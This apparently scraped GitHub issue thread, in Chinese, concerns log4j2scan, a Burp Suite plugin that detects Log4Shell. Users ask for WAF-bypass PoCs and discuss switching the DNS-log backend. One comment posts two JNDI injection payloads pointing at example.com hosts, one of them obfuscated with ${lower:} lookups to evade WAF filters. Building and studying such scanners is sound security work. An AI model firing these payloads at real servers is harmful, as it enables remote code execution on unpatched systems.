建议添加一些绕waf的poc about log4j2scan HOT 9 CLOSED

下个版本将会加入

from log4j2scan.

master分支支持多poc的代码已提交，可以先下载源码本地编译测试，预编译版明天发布

from log4j2scan.

建议增加： cloudflare 捕获到的攻击载荷及绕过:

${jndi:dns://aeutbj.example.com/ext}

${jndi:${lower:l}${lower:d}a${lower:p}://example.com/

from log4j2scan.

master分支支持多poc的代码已提交，可以先下载源码本地编译测试，预编译版明天发布

顺便把dnslog。cn换成bp自带的呗，bp自带的更好用呀

from log4j2scan.

master分支支持多poc的代码已提交，可以先下载源码本地编译测试，预编译版明天发布

顺便把dnslog。cn换成bp自带的呗，bp自带的更好用呀

bp自带测试过了，也是延迟严重，如果不信邪代码里也有BP dnslog的兼容层，你可以下载源码改下测试。

修改方法是将Log4j2Scanner.java 里的this.dnslog = new DnslogCN();改成this.dnslog = new BurpCollaborator();，然后重新打包编译。

from log4j2scan.

建议增加： cloudflare 捕获到的攻击载荷及绕过:

${jndi:dns://aeutbj.example.com/ext}

${jndi:${lower:l}${lower:d}a${lower:p}://example.com/

感谢，已添加至源码库，由于现在poc变种太多，为了降低网络压力，默认只启用POC1、POC2、POC3、POC4。

from log4j2scan.

master分支支持多poc的代码已提交，可以先下载源码本地编译测试，预编译版明天发布

顺便把dnslog。cn换成bp自带的呗，bp自带的更好用呀

bp自带测试过了，也是延迟严重，如果不信邪代码里也有BP dnslog的兼容层，你可以下载源码改下测试。

修改方法是将Log4j2Scanner.java 里的this.dnslog = new DnslogCN();改成this.dnslog = new BurpCollaborator();，然后重新打包编译。

是有延迟，刚才在使用过程中发现插件对js和css文件也攻击，个人感觉没必要吧，就一些增删改查的位置会记录日志，再加上js文件和css文件那么多，一个站就被动扫非常久。

from log4j2scan.

master分支支持多poc的代码已提交，可以先下载源码本地编译测试，预编译版明天发布

顺便把dnslog。cn换成bp自带的呗，bp自带的更好用呀

bp自带测试过了，也是延迟严重，如果不信邪代码里也有BP dnslog的兼容层，你可以下载源码改下测试。
修改方法是将Log4j2Scanner.java 里的this.dnslog = new DnslogCN();改成this.dnslog = new BurpCollaborator();，然后重新打包编译。

是有延迟，刚才在使用过程中发现插件对js和css文件也攻击，个人感觉没必要吧，就一些增删改查的位置会记录日志，再加上js文件和css文件那么多，一个站就被动扫非常久。

新代码已经过滤了静态文件

from log4j2scan.

v0.6版本已加入多poc支持。

from log4j2scan.